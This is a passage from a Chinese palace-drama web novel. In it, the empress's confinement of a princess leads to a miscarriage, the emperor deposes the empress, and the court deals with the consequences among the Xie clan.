“站住!”谢星娥已经慌忙躲到屏风后,两个宫人手忙脚乱地为她穿衣服,她的声音因为气恼和惊慌发着颤,“谁让你进来的!出去!”
萧秧也不看她,他根本谁也没看,脸上带着一种极其执拗的神色,梗着脖子,还是重复那句话:“儿臣来给皇后请安了!”
“谁要你来请安!”谢星娥气得破了音,“还不把他轰出去!”
好几个宫人都赶紧扑上去,萧秧本就不喜欢别人碰他,又不知为何处在盛怒的情绪之下,竟然动手就打。皇后宫里都是女婢,见他这样横冲直撞的,竟然都不敢上前。
谢星娥终于穿戴得体,气势汹汹地从屏风后绕了出来,对着萧秧就是劈头盖脸的怒喝:“你吃了熊心豹子胆了?!”
但她一句还没骂完,外面又传来了别的声音,明显是从关着明绰的偏殿那里传过来。谢星娥突然明白了什么,一句都不肯跟萧秧多说,推开他就想往外走。
萧秧突然跪了下来,一把抱住了她的腰。谢星娥“啊”地一声尖叫起来,一巴掌打到了他脸上,萧秧也不躲,只有那一句:“儿臣来给皇后请安!”
“你!”谢星娥哪跟这种不按常理出牌的打过交道,简直是没办法了。宫人们赶紧又围上来,掰手的掰手,拦腰拽的拦腰拽。可是萧秧就是不放手,甚至把谢星娥拖得摔在了地上。一时之间只听见“殿下”“皇后”地叫个没完,整个寝殿闹成了一片。
有个宫人匆匆地从外面跑进来,着急忙慌地跟皇后汇报:“皇后!是敬夫人!敬夫人她——”然后就被寝殿里这一团乱七八糟的吓得说不出来话了。
谢星娥狼狈地从萧秧的抓抱里挣脱出来,骂了一句:“本宫知道了!”
就说这傻子怎么会突然这样发疯,果然是敬漪澜那个贱人!她二话不说就赶紧往外跑,穿过回廊便看见敬漪澜和阴青蘅两个人在偏殿门前,正不自量力地试图用肩膀把上了锁的门撞开。好几个宫人都被惊动起来,只敢七嘴八舌地叫,拦都拦不住。
“敬漪澜!”谢星娥尖叫着扑上来,“你疯了吗!你要干什么!”
阴青蘅立刻挡在了敬漪澜身前,手里提着的宫灯繁复沉重的外罩被她晃起来,像一把流星锤,生把谢星娥吓得退了两步。
“你……”她定睛看清了这是谁,一根手指伸出来,“你也敢以下犯上!”
“奴婢不敢!”阴青蘅嘴上这么说着,但整个人丝毫未动,“皇后恕罪,长公主彻夜未归,想必是在皇后这里耽搁了,奴婢是来接长公主的!”
谢星娥昂起头,不肯承认:“她不在这儿!”
她在这里周旋,敬漪澜就跟没听到一样,还在用尽浑身力气撞那个门。她知道这是什么地方,之前每一次,皇后为了磋磨她,给她立规矩,都是把她关在这里。她知道里面根本没有能好好坐的地方,冬天也不给一盆火,没有灯,也没有刻漏……那些夜晚太漫长了,明绰还怀着身孕,她怎么受得了啊?
“明绰!”敬漪澜朝里面叫了一声,可是她听不到有回答。
阴青蘅还在说话:“请皇后——”
她的话还没说完,一个人影突然从她身边掠了过去。谁也没料到敬漪澜会突然扑上来,一下子就把谢星娥摁在地上了。
“开、门。”敬漪澜从牙缝里挤出两个字,然后又提高音量,盖过谢星娥的尖叫,“开门!”
萧秧已经挣脱了那些人跑了出来,护在了母亲身边。敬漪澜几乎就是坐在了谢星娥的腰上,双手紧紧地摁着她的脖子。那是一双做过农活的手臂,十六年的宫廷生活也没有让她变得跟养尊处优的皇后一样羸弱。
谢星娥恐惧地哀叫着,只会威胁她:“我要杀了你!我要杀了你!”
敬漪澜居高临下,轻轻松松地就制住了她乱挥的手,每一个字都说得非常平静:“好啊,那我们就去见陛下,我今儿个犯过的事,说过的话,一件都不会赖,让陛下来惩治我,走!”
她说着就拽住了谢星娥的头发,好像要这样把她在地上一路拖拽到含清宫。谢星娥又是一声惊恐的尖叫,宫人们纷纷乱乱的,竟无处下手去救皇后,机灵点儿的转身就往外跑,去请执金吾卫。
“我没做错!”谢星娥尽力挣扎着,她死都没有想到敬漪澜居然是这样的,这么多年,她可从来没有反抗过!谢星娥艰难地试图维持自己的尊严和体面,一边不停地尖声叫着,“我是皇后!我有权训诫她!百官……是百官要她来听我……你,你找死……你找死!”
但敬漪澜根本不怕,她看起来要照着皇后的脸打了。阴青蘅赶紧拦了一把,不想事态演变得不可收拾。她转头从人群中看定了已经吓得僵住不动的栖凤宫女史。各宫女官虽然各为其主,但好歹也都是相识的。阴青蘅两步走到她面前,一把抓住了她的手,半是逼迫地叫了一声:“姐姐,快把钥匙拿出来,开门吧!”
“我……”那女史吓得发抖,居然就这么听了阴青蘅的话,从袖中掏出了钥匙。
谢星娥用尽力气挣起来:“不许开!你们都是死的吗!”
宫人们又扑上来,女人的尖叫声、痛呼声、扭打声响成了一片。栖凤宫的女史还不知道该如何是好,袖中的钥匙就已经被阴青蘅夺了过去,开锁的“喀拉”一声被掩在了所有乱七八糟的声音后面,阴青蘅用力一推,终于撞开了这道门。
明绰跪坐在案前,脸色惨白,但还没倒。面前的菜还是昨天送来的样子,她一口都没动,因为冷,上面的油都结成了质地滑润的乳白膏状。
她没有马上站起来。阴青蘅两步跑进去想扶她,却发现她身|下的裙子已经濡湿了一片,血迹从里面渗上来,深浅不一地沁出了斑斑的痕迹。那血是鲜红的——阴青蘅突然意识到,这是她正在流的血。
“长公主!”阴青蘅声音发着颤,“快去叫太医!快啊!”
明绰转过头看了她一眼,轻轻地握住了她的手。明绰的手也是冰凉的。谢星娥已经被两个宫人从敬漪澜手里拉了回来,狼狈得鬓发散乱,听见明绰轻声地开了口,声音竟比任何人想象的都要冷静。
“让桓姐姐替我写封信去益州,”明绰对着阴青蘅说话,眼睛却看定了谢星娥,像在宣判她无可挽回的末日,“告诉袁綦,他的孩子,没了。”
第159章
“你知道袁綦是什么人吗?”
谢星娥抬起头看着萧盈,脸上有些不解。早上那一场闹剧不可避免地惊动到了含清宫,萧盈到的并没有比太医晚多久。明绰执意不肯留在皇后那里,谢星娥只好跟着回了上阳宫。那孩子显然是保不住了,谢星娥在这里胆战心惊地等了一天,好不容易等到萧盈重新出现了,谢星娥问了几遍明绰怎么样了,他却不答,反而问了她一句,知不知道袁綦是什么样的人。
“他武艺高超,为人正直,军中同袍都很服气他。”萧盈撑着凭几坐了下来。他也就是比昨日好了一些,整个人还是虚的。说话的时候语气平淡,像在跟皇后拉家常,“就是不喜欢听令行事,太冲动了。当年敢擅自杀去邺城,在拔拔真眼皮子底下放火……那时候他手里只有五千人。”
谢星娥还是很茫然的神情,见萧盈停下了,也不敢接话。
萧盈声音很轻,悄悄提示她什么似的:“现在他手里有十五万人。”
“陛下……”
“现在整个益州都在他手里,听他调动,”萧盈就像没听到她的声音一样,“益州上面就是荆州,荆州是姓袁的,你还记得吗?这两个地方加起来,比整个雅隆都大,你知道吗?”
谢星娥跪了下来:“陛下,我……”
“雅隆人占了三郡,朕还等着袁綦收复失地,而你,朕的皇后,”萧盈还是那样轻声细语地跟她说话,“突发奇想,弄死了他尚未出世的孩子。”
“我没有……”
“袁綦跟你一样年岁,”萧盈还是不让她说话,“你都三个孩子了,这才是他的第一个。”
萧盈喉中轻轻哽了一下,没往下说。袁綦不是他兄长那样的人,不会去找什么苻氏李氏——萧盈也不会允许他这样对待明绰。而明绰……她已经是这个年龄,又这样元气大
伤,以后多半不会再有孩子了。
谢星娥的下唇颤了颤,好像明白了萧盈想说什么。
“我不是故意的,”谢星娥急道,“是陛下让我训诫长公主,我只是……”
“只是什么?”萧盈问她,“把她锁起来,让她挨冻受累,然后派你的女儿来骗朕,说她已经回去了?”
“陛下不要只听一面之词,是她不肯认错呀!”谢星娥绞着手,还想把她那套说辞搬出来,“臣妾是皇后,是她的长嫂,受百官所托,陛下所托,臣妾只能……”她顿了顿,又道,“我是想叫太医来的!我一发现她动了胎气,我马上就叫了太医!陛下,都是敬漪澜以下犯上,胡搅蛮缠,才耽误了……”
萧盈看着她狡辩,突然笑了一声。他看起来一点都没有生气的样子,但是谢星娥感到一股没有预料到的恐惧正顺着她的脊背往上爬。她念头转得飞快,又道:“袁綦手握重兵又如何?难道他还敢造反不成!”
“他不会造反的。”萧盈像是跟她保证什么,“但他会上书,要朕给他一个交代。”
“陛下是天子,岂容臣僚这般——”
萧盈又打断她:“朕会给他一个交代。”
谢星娥愣了一会儿才反应过来萧盈这是什么意思。他不会等到袁綦的上书,他现在就会处置了她。朝中不会有人能护住她,父亲也抗衡不了益州军情这么大的事情。
她怎么会没有想到呢?谢星娥抠紧了手指,好像又回到很小的时候,跟姐姐一起被太父考校。永远都是姐姐说出了答案以后,她才意识到那答案多么显而易见,但要她自己想,她就是想不到。
“我……”谢星娥落了泪,几乎自己都要信了,“我真的不是故意的……”
然而萧盈看着她这副样子,竟然只有笑。
“星娥,你从小就是这样。”萧盈难得这样唤她,“你做错的事情,永远都往别人头上推。太后一发火,你就说是姐姐的主意,溦溦从不跟你计较。但朕知道,其实每一次都是你。”
谢星娥很长时间都没有说话,她被萧盈的口吻狠狠地刺痛了。经年的嫉妒重新翻涌上来,酿出了更深重的酸苦。年幼的谢星娥仰望着表兄和表姐,发现他们紧密到根本容不下她。
“何必如此冠冕堂皇地吓唬我,那根本就不是袁綦的孩子。”谢星娥不装了,“那是你们的孽种!”
萧盈也没想到她会突然说出这句话,愣了一下,才“啊”了一声,好像终于想通了谢星娥到底为什么要这么做。但他也没有一丝一毫想要跟谢星娥解释什么的欲望。
“所以,”他抚了抚自己的眉毛,“稚儿,就是你下的手。”
他的第二个儿子,两岁多就夭折的萧稚。当年本就是一场普通的伤寒,分明已经好转了,保母抱着出去散散步,他呛进了空中飘的柳絮,就这样没了。
萧盈深信这是一场意外,他甚至恨过自己为孩子取了“稚”这样一个近乎谶语的字眼,都从来没有怀疑过是谢星娥。他知道她善妒,小性儿,刻薄,但他也没有一开始就把她想得这么恶毒。
直到刚才,明绰痛得满头都是冷汗,还要抓着他的手,突然问了他一句,皇次子当年是怎么没的。
萧盈:“玉含没的时候,你也痛不欲生。”
他提到夭折的长女,谢星娥的脸色就全变了。痛苦像是要从她胸口呕出来,而她克制着,为此涨得满面通红。
萧盈面无表情地看着她,只道:“玉含要是活到了今天,面对这样的母亲,该有多难堪?”
谢星娥猛地抬起了头:“你希望玉含是你们的女儿,对不对?”
萧盈没有回答这个问题,他只是很轻地叹出了一口气。他应该为了稚儿和玉含感到心痛,并因此对谢星娥产生极大的厌恶,但他现在唯一能感觉到的就是尚未痊愈的疲惫和无力。
“玉襄再跟在你身边,怕是要学坏了,让她迁居别宫吧……”
谢星娥突然站了起来,就像没听见这话一样。她从他眼里看到了一种熟悉的厌倦,折磨了她快二十年的厌倦。她甚至不配得到他多一分的情绪,哪怕他刚刚得知她害死了他的另一个儿子。
“玉含死了才好!”她恶狠狠地吐出了几个字,“她若是长大了,越来越像萧明绰,谁知道你会干出什么事情来!你别以为我不知道你为什么那么疼爱她!”
一片静默。萧盈定定地看了她一会儿,那些话好像石头扔进了水里,只有很轻的一声“咚”,就再也没有了。
他完全不受影响,继续往下说:“即日起,废谢氏皇后位,无诏不得出栖凤宫。皇三子交给裴氏抚养。”
“不要——”谢星娥又叫了一声,唯有提到儿子的时候才让她反应如此剧烈。但是萧盈做了个手势,让她安静。
“朕会让人去取你的皇后印宝。”萧盈已经站了起来,想走,“不要在上阳宫闹。”
谢星娥凄然地笑了一声:“陛下还不许我的哭声扰了姐姐吗?”
萧盈脚下顿了顿,突然又回了头。他看了看房中那架屏风,还有刚才他特意避开的那个主位。
“不,”他对谢星娥说,“别在这里丢你姑母的脸。”
萧盈没有再回头看她一眼,走出了正殿。任之就在门口守着,一言不发地跟在了他身后。从正殿绕过去,萧秧和敬漪澜还等在明绰的寝殿外面,看见他过来,母子两个都跪了下去。
萧盈没说什么,眼睛往下一斜,看见萧秧的脸和脖子上都是被指甲抓出来的红痕,甚至比他母亲还要狼狈。萧盈脸上便露出了近似哭笑不得的表情,抬了抬手,让他们俩都起来。
“你是平阳王,”萧盈伸手想碰他脸上最深的那道抓痕,“是朕的长子,你怎么……?”
怎么会到去跟皇后宫里的人动手这一步呢?他要救人,竟然一点儿都不懂得如何博弈与巧取。萧盈没把话说完,看到萧秧还是下意识地避了避,连父亲的触碰也不情愿,也只好叹了口气。
罢了,秧儿不是那块料,又不是第一天才知道。
萧秧不明白父皇这口气叹的是什么意思,敬漪澜在他手臂后面拽了拽,他便先开口认错:“父皇,儿臣知错了。”
但萧盈没跟他生气。秧儿最不喜欢生人的触碰,却能为了姑母去闯栖凤宫。明绰这几年没有白疼他,这是个好孩子。
“你也太放肆了。”萧盈突然转向敬漪澜,语气并不重,“宫里不是没规矩的地方。”
敬漪澜屈膝低头:“臣妾任由陛下处置。”
萧盈点了点头:“敬氏犯上无状,废去夫人封号,降为女史。”
萧秧下意识就要张口,但是敬漪澜一把抓住了儿子,没让他说话。嫔妃犯错,削号之后往往跟着的是幽禁。但是萧盈只是降她为女史,这就意味着,她不再是萧盈的嫔妃了,她可以跟着儿子迁居平阳王府了。
敬漪澜眼中瞬间涌了泪,但她极力克制着,朝萧盈点了点头:“多谢陛下。”
“是我该多谢你,”萧盈轻声道,“你把秧儿养育得很好。”
敬漪澜紧紧咬着下唇,含着泪意点了点头。萧盈转过头,看了任之一眼,他立刻会意,准备下去传旨。萧盈便轻声道:“你们也累了一天了,回去吧。”
“是,”敬漪澜微微屈膝,已经改了口,“奴婢告退。”
萧盈看着母子两个离开,这才推开了明绰寝殿的门。里面没留几个伺候的人,明绰面朝里侧躺着,床头还有一碗没喝空的药。她从小喝药就没有他痛快,讨厌药渣,所以总要留一个碗底。那药的颜色很深,搁了有一会儿了,已在白瓷碗内洇出了一道深褐色的痕迹。
萧盈坐到了她床边,把药碗拿起来,让宫人过来接了,顺势让她们都退下了。
他第一次知道,原来小产和生产其实也没有那么大的差别。当时卞弘想请他
出去,说是忌讳。萧盈不知道他要忌讳什么,明绰一样要疼,一样要用力把那个孩子“生”下来。那一团血肉从她腿间滑落的时候,小到一个拳头就可以握住,却带走了母亲那么多的血。
接住那个孩子的是宫里接生的老嬷嬷,她立刻合拢了手,捧着离开。明绰用手肘支起身体,想看一眼,但是萧盈轻轻地掩住了她的眼睛。
从栖凤宫回来,她一直没哭,好像早就知道了必然的结局。唯有那一瞬,她握住了皇兄遮住她眼睛的手,用力到指节泛白,却没有把他推开。萧盈的掌心一片温热的潮。
他轻轻地伸出手,从身后搭住了明绰的肩膀。她没有睡着,但她也没有转过来。
“你看清楚了吗?”
“什么?”萧盈问她。
“那个孩子。”明绰顿了顿,“是男是女?”
萧盈答不上来,他没看清。老嬷嬷觉得那不干净,已经立刻“处理”了。萧盈不知道他们会怎么处理,他也不想知道。
“看不出来。”萧盈不知道这样是不是能安慰到她,只道,“还没成形呢。”
明绰便又陷入了沉默。良久,萧盈轻声道:“朕可以召袁綦回来。”
听见这话,明绰反而笑了一声,她终于转过脸来。
“皇兄放心,”她说得很慢,“袁綦忠心可鉴,他再激愤,也不会造反的。”
萧盈便无言地垂了眼。他并不是担心这个,他只是以为,明绰此刻更需要的会是孩子的父亲。可是明绰看起来谁都不需要,他所有的安慰都显得那么徒劳。
“朕已经废了她的后位。”他要证明什么似的。
明绰也只是点了点头,看起来毫不意外。只轻轻地“哦”了一声,就重新转回去,背对着他。
她知道萧盈不会放过谢星娥的,哪怕不是为了她的孩子,也要为了他自己的稚儿。这种报复来得太轻易了,所以显得根本就不够。那个斗室里的夜太漫长,明绰在一阵一阵的疼痛里意识到,这个孩子要走了。她唯一能做的就是集中精力想,还有谁应该为她失去这个孩子负责?
进宫状告她的袁增父子,指责她离间了袁煦夫妻的桓廊,攻讦她恃宠生娇的陈缙……还有那么多,她甚至都不一定记得名字的人,是他们众口一词,说她败坏妇德,最终把她逼进了栖凤宫的那个斗室。
现在她的孩子没有了,他们又会说什么?
一定是因为她德行的败坏,上天才惩罚她,又证明了他们是对的。等到出现下一个想效仿她的女人,下一个不允许丈夫纳妾,不肯做贤妻的女人,下一个想要站到朝堂上跟他们平起平坐的女人,他们就会指着明绰的血肉,说,看吧,这就是下场。
明绰在那个黑暗的斗室里就这样想啊,想啊,很快就丧失了时间的概念,她不知道到底过去了多久,有的时候甚至不确定她是不是还醒着。模糊间听见争吵声,那是母后的声音。她在尖声大叫,丧失了所有的体面,像个疯女人,然后就是太父那句重得砸碎她一生的话。你翻不过天去。
拂霜,你翻不过天。
“溦溦,”萧盈的声音很心疼,“别这样。”
明绰没有回头:“你能不能叫他们‘别这样’了?”
萧盈没听明白:“谁?”
可是她也没有回答。明绰的手紧紧地攥紧了被衾,恨意如尖刺破体而出,撕碎她的身体,把上好的绸面刮得一片狼藉。她背对着他,无声地嚼碎了无法被他理解的每一根刺,在掌心握出了血。
第160章
明绰躺了五天,完全下不了床,萧盈就陪了她五天。一开始她不说话,萧盈也不打扰她,就只是安安静静地做他自己的事。
但是坐月子这种事,又不是男人能照顾的,他们再亲密,萧盈也不是她的丈夫。阴青蘅动不动地就得请陛下回避,明绰不得不开口,请皇兄回去吧。
萧盈也不回去,就让人端了一道屏风过来,还是在那头坐着。明绰干躺着,又没事儿做,陛下在这儿,宫人也不敢跟她聊天,没法子了,只能跟他说话。
“从小都是你身体不好,我照顾你。”明绰看着屏风后那个人影,有点儿哭笑不得,“难得颠倒过来。”
“抬举了。”萧盈平静地翻过手里的公文,“这也算不上‘照顾’。”
前两天他的伤寒都还没好全,卞弘让他别挨长公主太近了,长公主现在的身体可禁不起被他过了病气。跟明绰照顾他时候的细致比起来,那真是差远了。
他这话说得倒是很有自知之明,明绰觉得好笑,自己侧过了脸,埋在枕头里闷笑。萧盈突然想起什么,又问她:“乌兰徵当初照顾过你么?”
那肯定没有。但明绰还是忍不住替他开脱什么似的,又道:“那时候芸姑刚走,是我不想见他。”
萧盈便“嗯”了一声,明绰跟他说过当年生产时被段氏所害的具体经过了,她当时生乌兰徵的气也情有可原。
但他还是问:“若是没那件事,他会来照顾你么?”
多半也不会,长秋殿里那么多人呢,用不着他。寻常百姓家里没那么些个仆役使唤,都没见过几个做丈夫的会伺候妻子的月子。明绰想了想,她也不太愿意让乌兰徵看到她产后那些狼狈,她还从来没想过这个问题。
明绰没忍住用手肘支起身体,反问萧盈:“难道皇兄亲自照顾过谁的月子?”
萧盈没有立刻回答。当初敬漪澜生产之后,他是很想陪护的。那时他初为人父,心情也比较激动。但敬漪澜跟明绰现在的反应差不多,不想让他看见,总是赶他走。所以要说真的照顾过,也是大言不惭了。至多就是喂过些汤药补品,陪着说过话。再后面谢皇后与裴贵嫔的生产,他就都没去过了。
“没有。”
明绰毫不意外地“哈”一声,又躺好了:“那你问什么。”
萧盈只是轻笑了一声,不再说话,继续看他的公文。明绰躺在那里,终于后知后觉地品出一丝滋味来。半晌,有些别扭似的,小声说了一句:“又不是你的孩子。”
“只要是你的孩子,朕必视如己出。”萧盈说得很平静,他确实是这么想的——除了乌兰晔那个混账玩意儿。
不过这话他没说出来,不想又惹明绰不高兴。
明绰好一阵都没说话。萧盈这话倒也是兄妹情深,但偏偏又有些别的滋味,不只是兄妹情深。谢星娥说,他会感谢她除掉了明绰腹中别人的孩子的。这话一直绕在明绰心里,前两天怎么都不愿意搭理萧盈的时候,其实就是她阴暗地怨恨着。
大约是这孩子没了,他才能毫无挂碍地说出“视如己出”的话吧。若是真的生下来了,看着她和袁綦一家和和美美,谁知他会不会又拿出磋磨人的手段来泄愤。
但是这念头一冒出来,明绰自己就十分暴躁地把被子掀起来,盖过了脸。她其实还想翻个身,无奈浑身都疼,翻不动,只能直挺挺地躺着,自己跟自己生气。
她一直记恨皇兄,却也一直依赖皇兄。不愿意把他想得太好,更不愿意把他想得太坏。想跟他只做兄妹,却又无法控制这些超出了兄妹之情的怨恨和依恋。
萧盈察觉到了她的动作,从屏风后面抬起了头:“怎么了?”
明绰不说话,仍旧把脸埋在被衾里。萧盈从屏风后面绕过来,坐到了她床边,伸手把她的被子往下拉。明绰不让,两人就这么僵持着,彼此拽了好一会儿。最后萧盈放弃了,反而是明绰自己闷得厉害,恶狠狠地把被子一掀,露出口鼻来呼吸。
萧盈都看笑了:“发什么脾气呢?”
“没什么。”明绰气鼓鼓的,看了他一眼,非常硬地转了话题,“皇兄突然废后,朝中就没什么话说吗?”
萧盈微微挑眉,根本没有回答这个问题。
旨意中公开了谢皇后谋害皇嗣的罪行。皇次子已夭折多年,裴贵嫔也从来没有提出过指控。这事儿没有证据,在很多人看来,就是陛下为了安抚益州前线的欲加之罪。但形势如此,谁在这个时候维护皇后,就是得罪袁綦。
陛下愿意征求各位的意见的时候才允许他们说话,现在是直接下了圣旨,就是不容置喙的意思。
萧盈伸手给她把被子掖掖好,一边道:“谢聿已被罢官削爵,谢氏全族即日就会遣返原籍。”
明绰突然问:“谢维呢?”
萧盈不以为意:“他本就不在朝中任职,他那些个儿子朕也统统罢免了,跟谢聿一起滚吧。”
明绰却道:“此事就不必牵连谢维了吧?他们本也不是亲兄弟。”
谢聿的气量,明绰是有数的。他自己没有儿子,谢维却生了这么多,谢氏的宗祠只能谢维来承祧了。但偏偏谢家最大的靠山还是他的女儿谢皇后,所以这对堂兄弟之间关系十分微妙。
当年谢郯新丧,为了继续维持谢氏在朝堂上的势力,谢聿不得不想办法给谢维的儿子、甚至妻弟谋官。但没多久,他就发现陛下虽不追究谢维的过错,但也绝没有原谅,他就又想明哲保身,跟堂弟保持距离。
谢维的儿子们这么些年
在朝中仕途艰难,谢运还在幽州被外放多年,除了萧盈有意打压的缘故,谢聿也实在是没出力气。
这么多年下来,谢维心里自然怨恨。若说谢郯在时两人还能维持表面和平,如今早已堪比仇雠。听说前几年谢聿还想让谢维过继一个儿子给他,好让他这一支不致绝后,都被谢维冷着脸打回去了。
好处一点儿没沾着,谢皇后出了事却要谢维一起来担,上哪儿说理去。
萧盈听到明绰居然给谢维求情,就没忍住冷笑了一声:“朕一个儿子的命,加上你腹中孩儿的命,判谢氏族诛都够了。朕已是法外容情,岂能再宽纵?”
明绰有理有据地顶回去:“皇兄本就不该法外容情,为何放过了庾氏?”
萧盈让她噎了一下。庾夫人自然是跟着夫君和女儿一起获罪了的,但她家中没被牵连,因为她的侄女嫁给了桓湛。大雍律株连起来,是连已出嫁的女儿都不会放过的,萧盈顾及跟桓湛的私人情分,只能把庾氏轻轻放下。
萧盈皱眉:“你知道为何。”
“庾氏是皇后的亲舅,谢维只是堂叔。论起这些年沾皇后的光,庾氏也比谢维沾得多了。”明绰伸手在萧盈胸口戳了一下,“陛下,为君之道,最要紧的是公平。既要容情,就不能容了这头不容那头。谢运可还在益州呢。”
若是一并牵连,谢运反而不能说什么。但是放过了庾氏都不放过谢维,谢运心里必生怨怼。
萧盈顺手抓住了明绰那根手指,不让她戳。一时无言以对,只道:“你都来教朕‘为君之道’了。”
明绰露出了一个似笑非笑的神情,突然问他:“我教不得吗?”
幼时在含清宫受教,谢郯太偏心,对明绰多有打压。明绰不甘心,也会跟皇兄哭。所以萧盈自小就承认,溦溦不比他差什么。
萧盈便点了点头,只道:“教得,教得。”
他把明绰的手握在手心里,安抚似的在手背上拍了拍。他肯顺着明绰的意思来,明绰就明显心绪好了一些,任他握着手,也没撒开。直到阴青蘅端着一碗肉汤从外面进来,明绰突然把手抽了回来,反倒让萧盈一愣。
但阴青蘅并未觉得有什么异样,屈膝朝陛下行了个礼。萧盈回过神来,顺手从她手中接过了那碗汤,阴青蘅便到床头,扶着明绰半坐了起来。她原本还想要推拒,但是萧盈已经举了勺子要喂她了,明绰顿了顿,到底什么也没说,张开嘴喝了。
这虽然不是药,但是里面也没少放药材,那股味道直冲鼻子。明绰喝了一口就扭开了脸,萧盈便转头问阴青蘅:“蜜饯呢?”
“陛下,蜜饯是湿腻之物,太医说不能吃了。”
萧盈就点了点头,温声哄了一句,又喂了一口。明绰让他哄得有点儿不好意思,自己把碗接了过来,又很心虚似的,偏头看了看阴青蘅。阴青蘅被她看得莫名其妙的,也不知道她突然心虚什么。但明绰看了她,萧盈就也看了她一眼,阴青蘅让两人接连看得心里一沉,突然察觉到了什么,非常知趣地屈膝行了个礼:“奴婢告退。”
明绰“啊?”了一声,但阴青蘅走得头也不回。萧盈微微垂了眼,唇边突然露出了一丝笑意。明绰看见他笑了,一时也不知道说什么,有一口没一口地吃着已经炖得稀烂、和药材裹在一起的肉汤,半晌忽道:“皇兄回去吧。”
“为何?”
明绰用勺子刮了刮碗底,觉得他明知故问。谁家妹妹坐月子,做兄长的一直在房里陪着的?有没有人伦了?——甚至人伦不人伦的还在其次,朝臣们定要觉得她又仗着皇兄宠爱进谗言了。
可是一想到那些个老头儿会怎么说,明绰心里就生出一股恨,挑衅似的:“那你就不许走了,让任之把公文都送上阳宫来。”
萧盈似是明白她心里在想什么,唇边的笑意更深了几分,只说了句:“好。”
他真答应了,明绰又瞪圆了眼睛,愣了会儿,把汤碗一放,又躺了下来,只道:“我要再睡会儿。”
萧盈看了看还剩了一大半的肉汤,又哄:“再吃一些。”
“不吃不吃,”明绰又把被子举过头顶,“我累了!”
萧盈就没有强迫她,轻轻叹了口气,把汤碗拿起来,出去了。明绰听见他的脚步声走远了一点,大概是交给了宫人,又绕回来,停了停,也不知道在想什么,然后又走到了屏风后面,这才悄悄地掀开了被子,看见萧盈果然已经坐了回去,继续处理上书。
明绰看着屏风上映出的那个身影,定定地看了好一会儿,才转回来,心事重重地闭上了眼睛休息。
萧盈果然信守诺言,让任之从此把公文送来上阳宫,他甚至晚上都不回去了,就让宫人们在另外一个偏殿收拾出了一间房。他当真完全不顾及别人怎么想,明绰反而被他吓得不轻。真要是把他们兄妹之间说得太难听了,传到袁綦耳朵里,也太过难堪。眼看着能下床了,明绰赶紧趁着萧盈上朝的功夫,让阴青蘅带她回了公主府。
她尚未出月子,不能受寒。阴青蘅恨不得给她包成一个粽子,那轿辇也是用填了棉的粗布改的轿帘,别说是风,连光都不透一点儿。做贼似的回了公主府,挪到了自己床上,明绰才松了口气。
公主府的下人们忙成一团,灌暖炉、烧地龙,药也都熬起来,前前后后地围着长公主转。明绰等了一会儿,却没看见桓宜华来。把管家召来一问,才知桓宜华已带着儿女回去了。
“回去了?”明绰吃了一惊。
当时明绰动了胎气躺在床上的时候,桓宜华一边落泪一边说,其实恕颐那个事儿出了以后她就动了和离的念头,就是一直顾虑这个,顾虑那个,忍了这么几年。这次闹成这样,说什么她也不会忍下去了。但明绰在宫里出了事,就没顾得上桓宜华这边。
明绰想到了什么:“她是自己回去的,还是袁家来请的?”
管家低了头,支支吾吾的,竟不敢说。明绰一下子就沉了脸,管家吓得当即跪了下去。阴青蘅忙给明绰拍了拍背:“长公主别生气……”
明绰:“怎么回事?说!”
管家便战战兢兢地跟长公主汇报。一开始是袁识来了几次,还是好言好语地劝,但桓宜华一概不理会。后来袁府就派了人来,不由分说要抢袁博。长公主不在府里,谁有这本事拦住袁家的人?生是让他们把小公子带走了。桓宜华去要了好几次,袁家也不理会。等闹够了,袁煦昨日才上门来,桓宜华没了办法,只能带着女儿
跟他回去了。
明绰当即就要掀被子下床:“你是死的啊?不知道往宫里递信吗!”
阴青蘅赶紧拦住她:“长公主息怒!要替桓夫人出头,也得自己先养好了身子啊!”
明绰只是气得发抖:“他竟这样不要脸!”
她认识了袁煦二十年,好像今儿个才看清了他的真面目。
阴青蘅赶紧给管家递了个眼色,让他先下去,别在这里惹长公主生气。但是那管家跪在地下,一副欲言又止的样子,明显是还有事儿没说完。明绰平复了一下怒气,看了他一眼,没好气道:“还有什么?”
管家伏身下去,一并把话说完:“谢维来过,求见长公主。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
160-170
第161章
谢维再上门的时候,已是早春最后一场雪融时。长公主出了小月,谢维携了夫人卢氏,带了山参阿胶等物,上门拜访。
一同来的还有侄孙女卢卿兰,她是卢望的女儿,当年卢望出使长安,明绰感念故国来使,对他青眼有加。回建康以后发现卢望外派为官,便对他的女儿多有照拂。她的妹妹卢卿芳,便是当时谢聿想要许给萧秧的那位。
谢维大概是想着卢卿兰当年常往来于上阳宫,所以一道带来,到明绰眼前攀个交情。但卢卿兰已有了七个多月的身孕,外氅一脱就掩不住身形。明绰本是笑着请他们坐,看到她的肚子,脸上的神色便没忍住黯了黯。
卢夫人立刻看了一眼谢维,那意思好像是她出门前就说过了,但是谢维没听。
明绰调整了一下表情,招了招手,示意卢卿兰到她面前去。
“什么时候嫁的人?”明绰拉着她的手笑了笑,“我竟不知道。”
卢卿兰面上便是一红,很不好意思。她嫁的也不是什么一等一的世家,就是寻常的武将,如今在袁将军麾下,跟着出征益州了。明绰就问了她丈夫的名姓。益州已经传来捷报,袁綦连下三城,请功的奏疏已到建康,她丈夫亦有军功,明绰一听就有印象了。于是便转头让阴青蘅把她妆奁里一套攒金丝的飞燕头面拿来,要赠给卢卿兰。
“长公主太客气了!”卢卿兰赶紧站起来,“我……我当不起呀!”
“当得起。”明绰还是笑着,拉着她的手在身边坐,“我是长辈,你成亲我都不知道,如今夫君又立了大功,眼看这孩子也快要出世了——连贺三喜,只费我一套礼,便宜我啦!”
卢卿兰让她说得眉眼俱弯,也不强推,红着脸谢过了恩。
谢维未动声色,只在旁边轻轻含了笑。
他来,自是来谢长公主的。废后旨意下来的当天,谢维便也同时被勒令返回原籍。等到他仓促间收拾妥当,准备上路,陛下却又突然收回了成命。许是陛下还是不甘心太便宜了谢氏,最后竟又加了一道刑罚,将谢聿杖责一顿,才赶他上路。谢维的几个儿子虽未官复原职,但好歹一家人得以留在了建康。
朝中有交好的给他透了个信儿,说这都是长公主求的情。
益州之战起用谢运,就是长公主的意思了。她连着两次施恩,再不上门,也未免太失礼。但谢维来了也没多说什么,就只是陪着长公主说些家长里短的。不多时,姜川与崔庆英又来了。
